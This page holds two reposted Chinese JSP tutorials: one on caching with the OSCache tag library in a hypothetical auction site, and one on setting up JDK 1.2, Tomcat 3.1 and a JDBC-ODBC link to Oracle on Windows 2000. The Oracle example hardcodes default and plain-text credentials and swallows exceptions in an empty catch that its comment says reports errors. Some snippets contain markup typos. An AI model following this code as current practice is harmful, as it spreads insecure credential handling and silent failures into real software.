OSCache标记库由OpenSymphony设计，它是一种开创性的JSP定制标记应用，提供了在现有JSP页面之内实现快速内存缓冲的功能。虽然已经有一些供应商在提供各种形式的缓存产品，但是，它们都属于面向特定供应商的产品。OSCache能够在任何JSP 1.1兼容的服务器上运行，它不仅能够为所有用户缓冲现有JSP代码块，而且能够以用户为单位进行缓冲。OSCache还包含一些提高可伸缩性的高级特性，比如：缓冲到磁盘，可编程的缓冲刷新，异常控制，等等。另外，正如OpenSymphony的其他产品，OSCache的代码也在一个开放源代码许可协议之下免费发行。

本文以一个假想的拍卖网站设计过程为例，介绍OSCache的工作过程。这个假想的Web网站将包含：一个报告最近拍卖活动的管理页面；一个功能完整、带有各种宣传信息的主页；一个特殊的导航条，它包含了用户所有尚未成交的拍卖活动信息。

二、管理页面

拍卖网站包含一个管理报表，数据库服务器需要数秒时间才能创建这样一个报表。报表生成时间长这一点很重要，因为我们可能让多个管理员监视系统运行情况，同时又想避免管理员每次访问时都重新生成这个报表。为了实现这一点，我们将把整个页面封装到一个应用级的缓冲标记之内，这个缓冲标记每隔1小时刷新。其他供应商提供的一些产品也具有类似的功能，只是OSCache比它们做得更好。

为简单计，我们将不过多地关注格式问题。在编写管理页面时，我们首先把标记库声明加入到页面：

<%@ taglib uri="cachetags" prefix="cache" %>

接下来我们要用cache标记来包围整个页面。cache标记的默认缓冲时间是1小时。

<cache:cache> .... 复杂的管理报表 .... </cache:cache>

现在管理页面已经被缓冲。如果管理员在页面生成后的一个小时之内再次访问同一页面，他看到的将是以前缓存的页面，不需要由数据库服务器再次生成这个报表。

三、主页

拍卖网站的主页显示网站活动情况，宣传那些即将结束的拍卖活动。我们希望显示出正在进行的拍卖活动数量，当前登录用户数量，在短期内就要结束的拍卖活动的清单，以及当前时间。这些信息有着不同的时间精确度要求。网站上的拍卖活动通常持续数天，因此我们可以把缓冲有效拍卖活动数量的时间定为6个小时。用户数量的变化显然要频繁一些，但这里我们将把这个数值每次缓冲15分钟。最后，我们希望页面中显示的当前时间总是精确的页面访问时间。

在主页中声明标记库之后，我们首先以不带缓冲的方式直接输出当前日期：

现在是：<%=new java.util.Date()%>

接下来，我们要显示一个清单，列出那些将在短期内结束的拍卖活动：

<cache:cache> <ul> <% // 构造一个包含最近拍卖活动的Iterator Iterator auctions = .... while (auctions.hasMore()) { Auction auction = (Auction)auctions.next(); %><li><%=auction%></li%< } %> </ul> </cache:cache>

最后，我们希望显示出正在进行的拍卖活动的数量，这个数字需要缓冲6小时。由于cache标记需要的是缓冲数据的秒数，我们把6小时转换成21600秒：

<cache:cache time="21600"> <% //查询数据库得到拍卖活动总数 int auctionCount = .... %> 本网站正在进行的拍卖活动有<%=auctionCount%>个! </cache>

可以看到，我们只用少量的代码就构造出了一个带有复杂缓冲系统的主页。这个缓冲系统对页面各个部分分别进行缓冲，而且各个部分的缓冲时间完全符合它们各自的信息变化频繁程度。由于有了缓冲，现在我们可以在主页中放入更多的内容；而在以前没有缓冲的情况下，主页中放入过多的内容会导致页面访问速度变慢，甚至可能给数据库服务器带来过重的负载。

四、导航条

假设在规划网站的时候，我们决定在左边导航条的下方显示购物车内容。我们将显示出用户所拍卖的每一种商品的出价次数和当前报价，以及所有那些当前用户出价最高的商品的清单。

我们利用会话级的缓冲能力在导航条中构造上述功能。把下面的代码放入模板或者包含文件，以便网站中的其他页面引用这个导航条：

<cache:cache key="navbar" scope="session" time="300"> <% //提取并显示当前的出价信息 %> </cache:cache>

在这里我们引入了两个重要的属性，即key和scope。在本文前面的代码中，由于cache标记能够自动为代码块创建唯一的key，所以我们不需要手工设置这个key属性。但在这里，我们想要从网站的其余部分引用这个被缓冲的代码块，因此我们显式定义了该cache标记的key属性。第二，scope属性用来告诉cache标记当前代码块必须以用户为单位缓冲，而不是为所有用户缓冲一次。

在使用会话级缓冲时应该非常小心，应该清楚：虽然我们可以让复杂的导航条减少5倍或10倍的服务器负载，但它将极大地增加每个会话所需要的内存空间。在CPU能力方面增加可能的并发用户数量无疑很理想，但是，一旦在内存支持能力方面让并发用户数量降低到了CPU的限制之下，这个方案就不再理想。

正如本文前面所提到的，我们希望从网站的其余部分引用这个缓冲的代码块。这是因为，当一个用户增加了一个供拍卖的商品、或者出价竞购其他用户拍卖的商品时，我们希望刷新缓冲，使得导航条下一次被读取时具有最新的内容。虽然这些数据可能因为其他用户的活动而改变，但如果用户在网站上执行某个动作之后看到自己的清单仍未改变，他可能会感到非常困惑。

OSCache库提供的flush标记能够刷新缓冲内容。我们可以把下面的代码加入到处理用户动作且可能影响这一区域的页面之中：

<cache:flush key="navbar" scope="session" />

当用户下次访问它时，navbar缓冲块将被刷新。

至此为止，我们这个示例网站的构造工作已经完成且可以开始运行。下面我们来看看OSCache的异常处理能力。即使缓冲的内容已经作废，比如在缓冲块内出现了Java异常，OSCache标记库仍旧允许我们用编程的方法显示这些内容。有了这种异常控制功能，我们可以拆除数据库服务器和Web服务器之间的连接，而网站仍能够继续运行。JSP 1.2规范引入了TryCatchFinally接口，这个接口允许标记本身检测和处理Java异常。因此，标记可以结合这种异常处理代码，使得JSP页面更简单、更富有条理。

OpenSymphony正在计划实现其他的缓冲机制以及一个可管理性更好的主系统，它将使我们能够对缓冲使用的RAM和磁盘空间进行管理。一旦有了这些功能，我们就能够进一步提高网站的响应速度和可靠性。

【结束语】OSCache能够帮助我们构造出更丰富多彩、具有更高性能的网站。有了OSCache标记库的帮助，现在我们能够用它解决一些影响网站响应能力的问题，比如访问量高峰期、数据库服务器负荷过重等。

转自：动态网站制作指南 | www.knowsky.com


在Win2000中安装JSP并访问Oracle

本例使用软件下载地址：
1、jdk-1_2_2_006-win.exe[19.5MB]
   http://java.sun.com/products/jdk/1.2/
2、jakarta-tomcat.zip[2.26MB]
   http://jakarta.apache.org/builds/tomcat/release/v3.1/

安装方法：

一、安装JDK
第一步，双击jdk-1_2_2_006-win.exe文件进行安装，使用缺省配置进行安装
        JDK的缺省安装目录为C:\jdk1.2.2，JRE的缺省安装目录为C:\Program Files\JavaSoft\JRE\1.2；

第二步，更新环境变量
        开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量－＞系统变量
        追加CLASSPATH： c:\jdk1.2.2\lib\tools.jar;c:\jdk1.2.2\lib\dt.jar;
        追加PATH：　　　c:\jdk1.2.2;c:\jdk1.2.2\bin;

二、安装Tomcat
第一步，用WinZIP把jakarta-tomcat.zip解压缩到c:\jakarta-tomcat目录下
第二步，进入c:\jakarta-tomca\bin目录，找到startup.bat批处理文件，打开编辑
        在行:start后面加上以下两行：
        SET TOMCAT_HOME=c:\jakarta-tomcat
        SET JAVA_HOME=c:\jdk1.2.2

第三步，双击startup.bat启动tomcat服务器
        这时，屏幕上会出现一个dos窗口，停止不动，并有一些运行成功tomcat和初始化信息，
        证明tomcat运行成功。

第四步，在浏览器上输入http://localhost:8080/
        如果能看到Tomcat Version 3.1这一页就表示Tomcat安装成功了。
        上面有一些jsp和servlet的例子，至此jsp环境搭建完成。

注：上面那个停止不动的DOS窗口不能关掉，否则tomcat服务器停止服务

注：JSP文件第一次运行比较慢

三、第一个JSP例子
给这个程序取名为test.jsp，放到c:\jakarta-tomcat\webapps\examples目录下
浏览器中输入http://localhost:8080/examples/test.jsp

＜%
String Str = "Hello JSP!";
out.print("Hello JSP!");
%＞
＜h2＞＜%=Str%＞＜/h2＞

四、写第一个连接Oracle的JSP程序test.jsp

1、连入SQL*Plus
以system/manager用户登录，
SQL＞ conn system/manager

创建新的用户：如user1/pass1，赋予connect,resource权限。
SQL＞ grant connect,resource to user1 identified by pass1;

SQL＞ conn user1/pass1
SQL＞ create table test(a number,b char(10));
SQL＞ insert into test values(1,'一');
SQL＞ insert into test values(2,'二');
SQL＞ insert into test values(3,'三');
SQL＞ commit;

SQL＞ select * from test;

A B
---------- ----------
1 一
2 二
3 三

2、配置ODBC（在服务器端设置）

开始－＞设置－＞控制面板－＞管理工具－＞数据源 (ODBC)－＞系统DSN－＞添加－＞
选择“Oracle ODBC Driver”－＞完成－＞

Data Source Name：test　　　名字随便取，好记就行，如：test
Service Name：oradb　　　　 Oracle数据库的实例名，本例：oradb，一般Oracle默认安装为ORCL
UserID：user1　　　　　　　 Oracle用户名，本例：user1

按“OK”－＞按“确定”退出

3、在c:\jakarta-tomcat\webapps\examples下创建test.jsp，用notebook编辑，输入以下代码
＜!--首先导入一些必要的packages--＞
＜%@ page info="database handler"%＞
＜%@ page import="java.io.*"%＞
＜%@ page import="java.util.*"%＞

＜!--告诉编译器使用SQL包--＞
＜%@ page import="java.sql.*"%＞

＜%@ page import="javax.servlet.*"%＞
＜%@ page import="javax.servlet.http.*"%＞

＜%
//以try开始
try
{
Connection con;
Statement stmt;
ResultSet rs;

//加载驱动程序，下面的代码为加载JDBD-ODBC驱动程序
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");

//用适当的驱动程序连接到数据库，test"是系统dsn名
String url="jdbc:odbc:test";

//建立连接，类似于ASP中的创建数据库联接
con=DriverManager.getConnection(url, "user1", "pass1");

//创建一个JDBC声明
stmt = con.createStatement();

//增加新记录
stmt.executeUpdate("INSERT INTO test (a,b) VALUES (1,'2')");

//查询记录
rs = stmt.executeQuery("SELECT a,b from test");

//输出查询结果
out.println("＜table border=1 width=400＞");
while (rs.next())
{
String col1 = rs.getString(1);
String col2 = rs.getString(2);
//打印所显示的数据
out.println("＜tr＞＜td＞"+col1+"＜/td＞＜td＞"+col2+"＜/td＞＜/tr＞");
}
out.println("＜/table＞");
}

//如果加载时出错，给出相应的错误信息
catch (Exception e) {}
%＞

4、打开一个浏览器窗口，输入以下地址来查看运行结果
http://localhost:8080/examples/test.jsp